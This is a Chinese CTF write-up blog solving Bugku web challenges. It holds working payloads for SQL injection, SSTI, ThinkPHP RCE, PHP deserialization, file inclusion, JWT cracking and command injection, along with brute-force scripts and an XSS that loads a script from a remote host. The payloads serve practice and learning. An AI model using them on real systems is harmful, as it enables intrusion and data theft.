0%

bugku

bugku-web 部分wp

202310

01

应该是很简单的,希望能不看wp刷完

inspect-me

F12查看页面源码,flag在注释中。

my-first-sqli

单引号报错→存在sql注入,单引号闭合,数据库sqlite3

使用order by判断列数:2列

image-20231001203049302

尝试union联合注入看看回显情况:直接拿到flag了,0分题真好

image-20231001203223294

post-the-get

post按钮无法点击,查看源码,将disabled属性删掉。

image-20231001203636709

抓包,是get请求,按照题目要求应该是要改成post。有几个方法:

  1. 修改form表单的method属性为post
  2. 在burp-repeater-右键change request method
  3. 根据get和post的区别手动修改(method、参数位置、content-type

image-20231001204044904

sqli-0x1

前端页面源码中提示:/?pls_help。源码审计啊

  1. 黑名单过滤了一些特殊符号,尤其是单引号
  2. sql查询直接单引号拼接
  3. 登录成功能获得flag(用户名admin

由于select时没有直接判断password,不能利用转义法。

重点不在username,在于构造password以绕过后面的密码判断。

绕过is_trying_to_hak_me判断:username满足preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)且单引号周围没有空格,用/**/内联注释代替空格

利用联合注入控制select的返回结果,第二个位置为自定义的password

构造password:自定义一个密码1和盐值1,用sha256加密

1
2
echo hash("sha256","1"."1");
//4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8$1

image-20231001213531967

总结:逻辑漏洞

baby lfi

看起来是文件包含,参数为language,提示包含/etc/passwd文件。

image-20231001214004594

baby lfi 2

提示存在languages目录?

一直是illegal path specified,只支持languages目录下的内容?目录遍历也不行,php伪协议也不行

御剑扫到了en.php和fr.php

必须是以languages目录开头才不会报illegal,emmm

image-20231001221455182

02-06

*challenge-creator

看到一堆csp时,猜测是xss相关。nonce值会改变

审计前端js代码:

  1. 点击创建challenge出的submitChallenge方法,根据表单内容构造跳转的url(json转字符串
  2. parseChallenge
    1. 根据challenge参数解析为JSON对象
    2. 对JSON对象的每个键值对进行判断以及赋值

参考:https://team0se7en.github.io/hackini-10th-challenge-creator/

注入点在head部分,请求后会将name值回显到title标签内,由于title标签内不能解析html语句,因此需要先闭合。name值为</title><script>alert(1)</script><title>,有过滤

image-20231003195957991

看到JSON.parse意识到可能有JS原型链污染,测了好久没测出来,但是还真有。通过插入CSP来控制浏览器不执行第二个script脚本,使challenge变量可控(后面parseChallenge方法中Object.entries遍历时用到了challenge变量),再通过输出时新建的元素进行xss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function outputChallenge(chal) {
const el = document.createElement(jsonCodeOutput.tag);//可以控制创建的元素的类型,改为script标签
for (const [attribute, val] of Object.entries(jsonCodeOutput.attributes)) {
el.setAttribute(attribute, val); //可以控制创建的元素的属性,如src
}
jsonOutput.appendChild(el);
}
function parseChallenge() {
chal = JSON.parse(new URL(window.location.href).searchParams.get("challenge"))//challenge为第一个script执行的结果,由URL参数决定,有__proto__键
for (const [key, defaultValue] of Object.entries(challenge)) {
value = chal[key];
assignedVal = value || defaultValue;
if (typeof assignedVal === "object" && typeof defaultValue === "object") {
for (const [subKey, subDefaultValue] of Object.entries(defaultValue)) {
let subValue = chal[key] !== undefined ? chal[key][subKey] : subDefaultValue;
parsedChal[key][subKey] = subValue;//污染原型链:parseChal.__proto__.attributes=...
}
} else {
parsedChal[key] = assignedVal;
}
}
outputChallenge(parsedChal);
}

构造URL,建立新的csp规则,允许任意src的script执行(记得URL编码后再执行)

  1. script-src *:允许从任何来源加载脚本。
  2. 两个sha256值是第一个和第三个script脚本的hash值,https://csplite.com/csp/sha/
  3. attributes.src为远端服务器存放js脚本的地址(不直接写在页面中是因为会报错,Content-Security-Policy:忽略 script-src 中的 “’unsafe-inline’”:指定了 nonce-source 或 hash-source)
1
{"name": "</title> <meta http-equiv='Content-Security-Policy' content=\"script-src * 'sha256-eyVKju/vSji+klXiXwhgD7spFJI0/Kk10K2eq4a9NCU=' 'sha256-8+tX0RdD8rNbWDDLNb3z8ixoi28g7G5On2AwCBePR0Y=' \"><title>","category": "asd","value": "1337","__proto__": {"tag": "script","attributes": {"src": "http://xxxxxx/xxx.js","id": "hack"}}}

image-20231003230352799

怎么获取flag????很神奇,就是document.cookie,但是要用这种方式才能带出来??是域名的问题吗??

https://github.com/Shellmates/HackINI-2k22-CTF-challs

总结:js原型链污染、csp hash控制脚本白名单

06

nextGen1

Overview中两个选项会发起POST请求,点点点然后抓包可以看到,或者直接看main.js:

image-20231006154726518

将service参数改为file:///etc/passwd,可以读取服务器本地文件。查看flag:file:///flag.txt

image-20231006155320880

*web1

目录扫描,找到网站源码www.zip,存在config.php但是不可访问,压缩包里也没有。

image-20231006170834819

代码审计:

  1. login.php
    1. 参数化查询,不容易注入
    2. users表,password为md5值,存在is_admin判断身份
  2. register.php
    1. 检测各个参数的长度,防止二次注入?
    2. 检测邮件是否合法,后面重置密码要发送邮件验证
    3. 参数化insert,默认is_admin为0,猜测为1是admin
  3. handler.php 重置密码
    1. 根据用户名查询邮箱,发送随机生成的6位数验证码(可以爆破?),email.php不可访问
    2. 参数化update

经测试填写正确的邮箱地址也会在send email时报错,所以这一块有漏洞。可能是环境有问题……

爆破随机种子,mt_srand,mt_rand

checkin

页面源码中(扫了半天后台……

image-20231006222026006

jwt

注册登录,响应头中存在提示:flag是admin的密码

image-20231006222928174

看到werkzeug想到ssti,no

jwt爆破密钥,https://github.com/alexrsagen/go-jwt-cracker/releases/,为啥猜到是4位的???`NuAa`

根据密钥构造admin的jwt值:

image-20231006232040277

抓包/panel请求,修改jwt得到flag:

image-20231006232252821

总结:jwt-secret爆破

今日感想:有些可能环境本身就有问题,遇事不决果断看wp

07

easy-pop

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class lemon{
protected $ClassObj;
function __construct(){$this->ClassObj = new normal();}
function __destruct(){$this->ClassObj->action();}
}
class normal{
function action(){echo "<img src=\"haha.png\" alt=\"\">";}
}
class evil{
private $data;
function action(){show_source("flag.php");}
}
if(isset($_GET['d'])){unserialize($_GET['d']);}
else{$stack=new lemon();}
  1. 接收get参数d,利用unserialize进行反序列化
  2. flag在flag.php,需要触发evil类中的action方法

将构造函数中的new normal()改为new evil(),构造lemon类的序列化数据,输出base64编码是为了避免复制粘贴遗漏一些不可识别的字符

image-20231007153027631

利用hackbar解码后作为参数d的值,访问得到flag

image-20231007153312177

command-injection

查看前端源码,存在提示:include.php,访问/include.php有重定向,查看网络请求可以看到参数为file。

image-20231007154138394

修改file参数后没有回显,但是响应头中有提示:tips=createfun.php,根据前面的file=index猜测应该是会自动添加php后缀,利用php伪协议读取源码:file=php://filter/read=convert.base64-encode/resource=createfun,用相同的方法可以读取include.php的源码

image-20231007155527098

1
2
3
4
<?php
$func = @$_GET['func'];
$arg = @$_GET['arg'];
if(isset($func)&&isset($arg)){$func($arg,'');}

存在命令注入漏洞,想了很久的构造命令执行,结果是show_source,至于为什么猜flag.php,include.php的过滤部分特地过滤了flag

image-20231007161840579

总结:文件包含、php伪协议、php命令注入

逃逸

代码审计:

  1. 获取get参数a和b,作为A类构造函数的参数
  2. serialize与unserialize间存在字符串过滤,存在反序列化字符逃逸,原理参考PHP反序列化字符逃逸详解_php filter字符串溢出-CSDN博客
  3. B类的析构函数存在echo,通过一定的构造能够触发C类中的__toString方法
  4. 获取flag需要令C类中的变量c为flag.php

构造payload(控制pop链和序列化后字符串的长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
function filter_nohack($data) {
return str_replace('flag', '', $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b;
function __construct(){
$this->b = new C();
}
}
class C{
public $c = "flflagag.php";//双写绕过
}
echo serialize(new B());
// O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:12:"flflagag.php";}}

$a = 'flagflagflagflagflagflag';
$b = '1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"fflaglag.php";}};}';
echo filter_nohack(serialize(new A($a,$b)));
// O:1:"A":2:{s:8:"username";s:24:"";s:8:"password";s:79:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};}";}
?>

image-20231007180733118

image-20231007174242405

总结:php反序列化pop链和字符逃逸

08

Make Me Cry

页面提示访问/flag,访问后提示使用POST请求并传递文件名

抓包修改请求方式并添加请求体内容,尝试访问以下文件:

  • main:可执行的二进制文件
  • main.cr:源码
  • test.txt:测试文件,表示可以正常读取
  • flag:无法直接访问,有过滤

审计main.cr,crystal语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
context.response.content_type = "text/plain; charset=utf-8"
if context.request.path == "/flag"
if context.request.method == "POST"
begin
# 获取POST请求体中的所有内容
filename = context.request.body.not_nil!.gets_to_end
filename = File.basename filename # 获取文件名,去除目录、后缀等
filename = normalize filename # 全角转半角符号
if File.match?("*fl*", filename) # 正则匹配是否包含fl子串
context.response.print "You can't get flag directly"
else
data = File.read(filename) # 读取文件内容并返回
context.response.print data
# ...
  • File.basename不会将全角的斜杠识别为目录路径
  • 正则表达式中的*匹配无限数量的任意字符,不包括 /

payload为/./flag,第二个斜杠为全角符号,用在线工具查看处理过程:

image-20231009133458515

burp修改请求包为POST,添加请求体为/./flag

image-20231009133649987

09

*ezlogin

前端源码有提示,md5碰撞,username和password的值不一样但是md5值一样

1
if (md5($_GET['username']) === md5($_GET['password'])) + if ($_GET['username'] == $_GET['password']) 

https://github.com/iamjazz/Md5collision 生成md5碰撞值,具体步骤见工具的readme

image-20231009141512914

另一个思路是利用md5加密的漏洞:md5不能加密数组,传入数组返回null

跳转到新页面setu.php,url参数存在file=setu,猜测文件包含,并且会添加php后缀。尝试php伪协议读取setu.php

image-20231009145104978

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if ( isset( $_GET['file'] ) ) {
$str = str_replace("../","",$_GET['file']);

if (strpos($str,'php://filter/convert.base64-encode/resource') !== false) {
include ( $_GET['file'] . '.php');
}
else {
include( "/var/www/html/" . $str . '.php' );
}
}
else {
header("Location: setu.php?file=setu");
}
?>

用御剑进行目录扫描,存在hint.php,仍用php伪协议读取。获取部分flag,提示/answer,不是访问路径,应该是某个目录,结合setu.php中过滤了../,猜测是../answer目录

1
2
3
4
5
6
7
8
9
<?php
/* Rewards for u:
NUAACTF{H3ll0_

Hint: Can u see my filter?
I put something in /answer
*/
echo "Wuhu!";
?>

双写绕过str_replace过滤,但是不知道文件名啊,好像是比赛时跟平台的环境不一样?有别的提示?

总结:php伪协议、md5加密漏洞

*loginjection

单引号返回hack!fuzz测试特殊符号,结果#-'这三个符号被过滤,一看就是sql注入。

看着源码都注不动:https://github.com/Asuri-Team/NUAACTF2022-Challenges/blob/main/web/loginjection/deployment/html/index.php

用/*作为注释符,id参数不用单引号闭合,但就是注不了,返回不了数据,wp说有admin,而且他没用注释?https://github.com/Asuri-Team/NUAACTF2022-Challenges/blob/main/web/NUAACTF-2022-Web.pdf

1
id=-1 or 1=1 order by 10/*&username=2&password=3

总结:sqllit3盲注

superpop

一眼反序列化pop链,但是随便访问一下/flag路径就get到了flag……

  • 当以函数的形式去调用对象(类)的时候触发_invoke
  • 读取不可访问属性的值时触发__get

构造pop链 from: https://github.com/Asuri-Team/NUAACTF2022-Challenges/blob/main/web/NUAACTF-2022-Web.pdf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
class User{
public $username;
public $password;
public $variable;
public $a;
}
class Login{
public $point;
}

class Read{
public $filename;
}
$read = new Read();
$user = new User();
$login = new Login();
// 利用md5加密漏洞,满足User的__wakeup中的if条件
$a = array("1");
$b = array("2");
$user->username = $a;
$user->password = $b;

$read->filename = "php://filter/convert.base64-encode/resource=flag";
$login->point = $read;//使Login的__get方法中的$func()能触发Read中的__invoke
$user->variable = $login;//使User的__wakeup方法中的$this->variable->xxx能触发Login中的__get
echo(urlencode(serialize($user)));
?>

*UnsafeDefenseSystem

首页403,应该涉及越权?

根据提示访问/public,进一步提示./log.txt和/public/test

image-20231009231121091

扫描/public目录能得到index.php

/public/test:一个静态页面,在前端源码中搜索一些关键信息,如flag、hint、php,找到登录后台:/public/nationalsb/login.php,任意用户名密码可进,请求头Authorization为用户名密码的base64编码。

image-20231009233115828

查看新路径:/public/nationalsb/,又到了登录界面,script.js中存在敏感信息

image-20231009233621488

此页面不可登录,应该是用这些信息去刚才的login.php登录,最后4位需要爆破,登录脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import base64
from requests.auth import HTTPBasicAuth

url = "http://82.157.146.43:11089/public/nationalsb/login.php"
username = "Admin1964752"
password = "DsaPPPP!@#amspe"
nums = "0123456789"
for a in nums:
for b in nums:
for c in nums:
for d in nums:
suffix = a+b+c+d
s = username+":"+password+suffix
resp = requests.get(url=url,auth=HTTPBasicAuth(username, password+suffix))
print(suffix)
if len(resp.text)!=81: # 请求失败的返回长度不会变
print(resp.text)
exit(0)

爆破结果为1221,得到提示存在文件包含。

image-20231010134320326

尝试/etc/passwd可行,但是有些文件名有过滤。读取index.php,知道是thinkphp框架以及一些新的目录,联想到thinkphp5的rce漏洞。

image-20231010135736236

根据新路径读取../../thinkphp/start.php,进一步读取base.php,得到thinkphp版本5.0.24

image-20231010145039155

/public/log.txt:出现system error爆出ThinkPHP版本。(正常环境不应该这样

SCTF2020 wp - 简书 (jianshu.com)

总结:敏感信息泄露,密码爆破,文件包含,条件竞争,thinkphp5,HTTPBasicAuth

10

*Jsonhub

Django框架,开了debug模式。泄露存在的路径,尝试访问

  • admin:重定向到登录/admin/login/?next=/admin/,有csrftoken,需要username和password,大小写敏感,暂未发现sql注入
  • reg:有隐藏的登录框和admin
  • login:
  • home:被重定向到login
  • rpc:报错Must 127.0.0.1,有ssrf?

Django参数注入???下一个

**fumo backdoor

看起来是反序列化,代码审计:

  • __sleep方法中存在文件包含 readfile,但是有正则过滤。(serialize触发
  • __wakeup方法中存在命令执行 call_user_func和新建类

涉及imagick、session,2023SCTF fumo_backdoor - Lxxx (xiinnn.com)

暂时略过

全球最大交友网站

下载a.zip,是.git文件,联想到git泄露。

在.git所在目录使用git命令查看日志:git log

image-20231010193537849

查看hint所在的提交记录:git show 6b21737,有一个flag,但是是假的,提示Allsource files areingit tag1.0

image-20231010194020260

查看hello所在的提交记录,也就是tag1.0,找到对的flag。

image-20231010194355866

小绿草之最强大脑

前端源码提示:有源码泄露。御剑扫描存在index.php.bak,下载得到index.php的部分后端处理代码,代码审计:

  • 会对输入进行intval处理
  • 对计算所需时间有要求,在1-2s之间(提示大于21位的数字
  • 每次返回的计算内容不一样
  • $_SESSION['count']++;猜测可能与回答正确的次数有关

构造python脚本进行反复尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
from bs4 import BeautifulSoup
import time

session = requests.session()

burp0_url = "http://82.157.146.43:10685/"
burp0_cookies = {"csrftoken": "1pwr7Ukku6doV9tWxhM7LO3oFBxZqo2i4uavWkbAIGuw9YG6ETEg3rVzUG0IXmks", "nctf2018": "where+is+flag%3F", "PHPSESSID": "585crofngm37uggmrvk72dctt7"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://82.157.146.43:10685", "Connection": "close", "Referer": "http://82.157.146.43:10685/", "Upgrade-Insecure-Requests": "1"}
resp = session.get(burp0_url)
num = "1111111111111111111111"
num_after_intval = "9223372036854775807" # 利用php的intval函数对num进行处理

while(1):
soup = BeautifulSoup(resp.text, 'html.parser')
div_tags = soup.find_all('div', {'style': 'display:inline;'})
calc = ""
if div_tags:
for div_tag in div_tags:
calc += div_tag.text
else:
print("未找到目标标签")
exit(0)
# 从每次返回的页面中提取计算公式,用eval对字符串进行运算
burp0_data = {"input": num, "ans": eval(num_after_intval+calc[:-1])}
print(burp0_data)
resp = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
if resp.status_code != 200:
print('fail')
exit(0)
if "tql" in resp.text:
print(resp.text)
time.sleep(1)

11

摆就完事了1

目录扫描得到www.zip,解压后全局搜索flag,存在ffllaagg.php,但是并不是正确的flag。观察源码知道thinkphp的版本:5.0.16,存在RCE。(thinkphp/base.php)

构造payload获取根目录下的flag:

1
/public/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat${IFS}/flag

image-20231011125719290

Flask Plus

点击网页上的各个按钮,点击右下角的小圆圈存在跳转,但是报错:image-20231011140113420

观察可知,这是直接将URL贴在报错信息中,联想到Flask的模板注入。测试payload:49

image-20231011141153913

经过测试,对一些常用payload的关键词存在检测,使用字符串拼接的办法进行绕过。

获取所有子类:{{''['__cl'+'ass__']['__ba'+'ses__'][0]['__subcl'+'asses__']()}}

利用burp爆破找到可利用的类

1
{{''['__cl'+'ass__']['__ba'+'ses__'][0]['__subcl'+'asses__']()[0]['__in'+'it__']['__glo'+'bals__']['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}

image-20231011153458941

改命令为cat读取flag

1
{{''['__cl' 'ass__']['__ba' 'ses__'][0]['__subcl' 'asses__']()[100]['__in' 'it__']['__glo' 'bals__']['__bui' 'ltins__']['ev' 'al']("__im" "port__('o' 's').po" "pen('cat /Th1s_is__F1114g').read()")}}

image-20231011153857267

滴!晨跑打卡

尝试查询,根据返回结果可知存在sql注入:表名为pcnumber

image-20231011155325508

经测试存在空格过滤,用%a0代替空格;存在#过滤,无法使用注释符,构造单引号进行闭合。

确认回显位置:id=0'%a0union%a0select%a0'1','2','3','4

image-20231011161430725

payload

1
2
3
4
5
id=0'%a0union%a0select%a01,database(),3,'4	# 当前数据库:cgctf
id=0'%a0union%a0select%a01,(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),3,'4 # 查询所有数据库
id=0'%a0union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='cgctf'),3,'4 # 查询cgctf的所有表:pcnumber
id=0'%a0union%a0select%a01,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='pcnumber'),3,'4 # 查询pcnumber表的所有字段,存在flag列
id=0'%a0union%a0select%a01,(select%a0group_concat(flag)%a0from%a0pcnumber),3,'4 # 查询flag列的所有值

image-20231012125931315

12

Easy Audit

代码审计:

  1. $_REQUEST参数值进行正则匹配,/[a-zA-Z]/i,不能有一个字母
  2. $_SERVER['QUERY_STRING']参数名+参数值进行正则匹配,/yulige|flag|nctf/i,不能有这三个关键词,但是后面读取flag需要这些参数
  3. 参数内容需要满足:
    1. substr($_GET['yulige'], 32) === md5($_GET['yulige']
    2. file_get_contents($_GET['flag'] === 'ccc_liubi'
    3. preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'

需求:绕过1和2的正则匹配,构造payload满足3中的要求

  1. $_REQUEST绕过:同时存在GET和POST请求时且变量名相同时,$_REQUEST取到的是POST中的内容
  2. $_SERVER['QUERY_STRING']绕过:$_SERVER['QUERY_STRING']对请求内容不会进行URL解码,对过滤字符进行URL编码即可
  3. yulige参数:当参数为数组时substr和md5都会报错并返回null
  4. flag参数:使用data伪协议使file_get_contents的结果可控
  5. nctf参数:以nctfisfun结尾,在头部填充一点其他字符即可

原始payload

1
yulige[]=1&flag=data://text/plain,ccc_liubi&nctf=111nctfisfun

image-20231012142617510

*calc

根据场景和响应头中的Server: Werkzeug/2.2.2 Python/3.8.10联想到Flask模板注入。

修改num参数使flask报错,得到源码:

image-20231012153029276

eval函数处的注入有难以绕过的waf过滤,但是有一处system命令执行

1
2
3
ip = request.remote_addr
log = "echo {0} {1}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip)
os.system(log)

remote_addr不可伪造?

????

修改前端源码,去除提交按钮的disabled属性和输入框的长度限制。

sh3ll.php:提示flag的文件名和过滤方式。

利用nl命令,问号作为通配符,用于匹配单个字符,用16个问号代替fl4g_is_here.php

image-20231012174354027

总结:nl命令,?通配符

Simple_SSTI_1

页面提示需要flag参数,前端源码提示secret_key,所以与flask的config有关,尝试模板注入。

image-20231012222149094

just-work-type

按照题目提示的用户名密码成功登录,进一步提示需要admin登录。

解密token,猜测修改admin参数可以实现身份验证绕过。爆破得到jwt密钥:123

image-20231012233626884

总结:jwt密钥爆破

14

simple web app

正常注册登录后,发现查看个人页面时会发起/graphql查询。

修改请求体为以下内容,查看所有接口

1
{"query":"\n    query IntrospectionQuery {\n      __schema {\n        \n        queryType { name }\n        mutationType { name }\n        subscriptionType { name }\n        types {\n          ...FullType\n        }\n        directives {\n          name\n          description\n          \n          locations\n          args {\n            ...InputValue\n          }\n        }\n      }\n    }\n\n    fragment FullType on __Type {\n      kind\n      name\n      description\n      \n      fields(includeDeprecated: true) {\n        name\n        description\n        args {\n          ...InputValue\n        }\n        type {\n          ...TypeRef\n        }\n        isDeprecated\n        deprecationReason\n      }\n      inputFields {\n        ...InputValue\n      }\n      interfaces {\n        ...TypeRef\n      }\n      enumValues(includeDeprecated: true) {\n        name\n        description\n        isDeprecated\n        deprecationReason\n      }\n      possibleTypes {\n        ...TypeRef\n      }\n    }\n\n    fragment InputValue on __InputValue {\n      name\n      description\n      type { ...TypeRef }\n      defaultValue\n      \n      \n    }\n\n    fragment TypeRef on __Type {\n      kind\n      name\n      ofType {\n        kind\n        name\n        ofType {\n          kind\n          name\n          ofType {\n            kind\n            name\n            ofType {\n              kind\n              name\n              ofType {\n                kind\n                name\n                ofType {\n                  kind\n                  name\n                  ofType {\n                    kind\n                    name\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  ","variables":{},"operationName":"IntrospectionQuery"}

image-20231014174011309

利用工具将结果可视化:https://github.com/2fd/graphdoc

User对象中存在role字段,根据Role的内容猜测需要把用户角色改为ADMIN。存在addUser操作,可以控制role

image-20231014173356110

构造/graphql的请求体新建一个ADMIN用户,ADMIN登录后查看/profile获得flag

1
{"query":"mutation {\n addUser(username:\"aaa\",password:\"bbb\",email:\"ccc\",role:ADMIN)\n}"}

image-20231014173520220

总结:graphql语法

cookies

观察请求包,发现在登录之前有一个根路径的请求,提示:”Y0u 4re n0t admin, no fl4g h3re“,说明需要admin登录。响应头存在Set-Cookie,看起来是base64编码,解码得到:{“username”:”null”,”status”:0}

image-20231014191932477

尝试构造cookie:{“username”:”admin”,”status”:1}(status需要猜一下)

image-20231014192422272

edr

深信服EDR漏洞,原理参考:https://blog.csdn.net/qq_32393893/article/details/108077482

后台扫描存在index.php.bak,得到index.php源码后进行审计:存在extract变量覆盖,GET传入strip_slashes参数可以直接覆盖源码中的strip_slashes变量

1
2
3
4
//payload:/?strip_slashes=system&host=cat+/flag
extract($params);
$host = isset($host) ? $strip_slashes($host) : "127.0.0.1";
//$strip_slashes($host)==system("cat /flag")

image-20231014201151850

总结:extract变量覆盖

intval

1
2
if($_GET['0xGame'] !== '20201001' && preg_match('/^20201001$/',$_GET['0xGame']))	//使用%0a,也就是换行符,绕过单行的正则匹配
if($_GET['id'] != 1024 && $intval($_GET['id']) === 1024) //用小数绕过

image-20231014224934973

wh1sper’s_secret_garden

  1. 你需要使用wh1sper浏览器来访问→抓包改浏览器为wh1sper
  2. 你需要来自:https://ctf.njupt.edu.cn/ →添加/改请求头Referer
  3. 你得从本地访问才行哟! → 添加请求头X-Forwarded-For

image-20231014230533897

15

switch

vim在编辑时会生成一个隐藏的临时文件,当vim非正常关闭时这个文件就会被保留下来。即.filename.swp。

获取.index.php.swp,下载下来后变成了index.php.swp,在Linux中通过vim恢复源码

1
2
3
vim index.php	# 新建一个index.php,不用写什么东西,与swp在同一文件夹
mv index.php.swp .index.php.swp
vim -r index.php

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);//flag in flag.php
$id = $_POST['id']?$_POST['id']:0;
$file = $_POST['file']?$_POST['file']:"";
if($id == '2'){
die("no no no !");
}
switch ($id) {
...
case 2:
if(preg_match('/filter|base64/', $file)){
die("hacker");
}
include($file);
}

id弱类型绕过:如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。[CTF之PHP代码审计1_ctf php a] & b[]-CSDN博客

file:伪协议,大小写绕过。postpayload:id=2a&file=php://filTer/convert.basE64-encode/resource=flag.php

image-20231015220753981

17

*bug1

1
2
3
4
if(isset($_POST['N1k0la']))
$secret_key = hash_hmac('sha256', $_POST['N1k0la'], $secret_key);

$payload = hash_hmac('sha256', $_POST['Pupi1'], $secret_key);

经过两次hash_hmac哈希,当$_POST[‘N1k0la’]为数组时secret_key被重置为null,因此payload可控。

1
$_POST['action']('',$_POST['Pupi1']);

用户自定义函数?

bug2

1
eval('echo '.'Welcome '.$str.';')

$str是POST参数经过处理后的结果,经尝试过滤了$^[]'"和反引号,没有过滤分号,可以闭合echo这行代码,执行多条语句。

查看phpinfo:N1k0la=;phpinfo(),disable_functions内容为空,但是经测试还是过滤了很多危险函数。

查看当前目录下的文件:N1k0la=;var_dump(scandir(getcwd())),存在fllllll4444444g.php

image-20231017184335557

利用show_source来读取文件,由于单引号被过滤,因此将文件名字符串转为ASCII:N1k0la=1;show_source(chr(102).chr(108).chr(108).chr(108).chr(108).chr(108).chr(108).chr(52).chr(52).chr(52).chr(52).chr(52).chr(52).chr(52).chr(103).chr(46).chr(112).chr(104).chr(112))

image-20231017184733809

command

ping按钮被设置了disabled属性,F12删除这个属性即可。

rce fuzz测试:%0a换行绕过。https://github.com/TheKingOfDuck/fuzzDicts/tree/master/rcePayloads(看来是直接命令拼接了)

image-20231017211728892

*diao图管理器(已跑路

前端源码提示: 上传图片均被base64处理,处理后的文件名为xxx,xxx为三位随机数 。因此需要爆破文件名。

dirb后台扫描扫到:

  • /admin,猜测需要登录
  • /download,提示just input something plz,不能处理POST请求,猜测需要GET参数

此题重点不在文件上传,而是要下载这上面存的图片,就是不知道参数咋猜的。

upload

前端源码提示:read.php?filename=,可能存在文件包含

利用php伪协议读取index.php源码:/read.php?filename=php://filter/convert.base64-encode/resource=index.php,对文件后缀和文件内容进行过滤,ph相关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(preg_match("/ph/i", strtolower($ext))){
die("这可不能上传啊!");
}
$content = file_get_contents($temp_file);
if(preg_match("/php/i", $content)){
die("诶,被我发现了吧");
}
//...
}
?>

read.php源码:include文件包含,过滤flag关键字

1
2
3
4
5
6
7
<?php
$a=$_GET["filename"];
if(preg_match('/flag/i',$a)){
exit("nononono");
}
include($a);
?>

绕过index.php对ph的过滤:图片后缀+php短标签(后续使用文件包含来执行php代码)

绕过read.php对flag的正则过滤:?通配符

1
2
3
<?= system("ls /"); ?>	//根目录下存在flag文件
<?= system("cat /????"); ?> //四个问号代表四个字符(flag),提示flag在环境变量中
<?= system("env"); ?> //获取flag

image-20231017222549672

image-20231017222613249

借鉴:可以直接连蚁剑,路径为read.php正在读取文件的时候

18

打开方式不对→改GET为POST

需要N1k0la浏览器→修改User-Agent

需要从本地来→添加X-Forwarded-For

image-20231018132357505

1
$a=$_GET['0xGame2021'];$b=$_POST['X1cT34m'];$d=$_POST['Pupi1'];$c='welcome to the 0xGame2021';if(md5($b)==md5($d)&&$a===$c){echo $flag;}

POST请求也可以通过URL传递GET参数(URL编码)

image-20231018132753708

后台扫描:/admin,登录页面,猜测用户名为admin或administrator,密码为4位纯数字,可以爆破 burp intruder。

ssti

根据页面提示猜测URL参数名为search,传参?search={{7*7}}验证存在ssti。

1
{{%22%22[%27_%27%27_cla%27%27ss_%27%27_%27]%27_%27%27_base_%27%27_%27][%27_%27%27_subcla%27%27sses_%27%27_%27]()[189]%27_%27%27_init_%27%27_%27][%27_%27%27_globals_%27%27_%27][%27_%27%27_builtins_%27%27_%27][%27_%27%27_import_%27%27_%27](%27os%27).popen(%27cat%20/flag%27).read()}}

cookies

认证消息md5绕过:md5(“aabg7XSs”)为0e开头的字符串,弱类型比较时会认为是科学计数法,0的任意次方都是0,构造另一个md5值也为0e开头的字符串,可以通过弱类型比较。

image-20231018150920359

会返回user参数,构造xss payload

image-20231018151156773

19

*Object

需要满足以下两个正则表达式

1
2
/[A-Za-z0-9]+\(/i
'/\w+\((?R)?\)/' //?R是表示递归

构造payload:";system("cat flag.php");",绕过正则后无回显。

2048

后台扫描存在:/README.md,结果乱码,从响应包的原始数据中提取结果到在线乱码恢复平台http://www.mytju.com/classCode/tools/messyCodeRecover.asp,得到提示。

image-20231019222813718

查看游戏页面的源码,找到一个GET请求

1
2
3
4
5
6
7
getFlag: function() {
var req = new XMLHttpRequest;
req.open("GET","flag.php?score="+obj.score,true);
req.onload = function() {
alert(this.responseText);
}
req.send();}}

直接构造URL:/flag.php?score=1000000

image-20231019223449964

babyRCE

payload:?rce=c\at${IFS}fl\ag.php

  • 查看文件的命令过滤:c\at绕过
  • 空格过滤:${IFS}绕过
  • flag过滤:fl\ag

关键词绕过:

  • 反斜杠绕过,shell认为是行末续行。flag→fl\ag
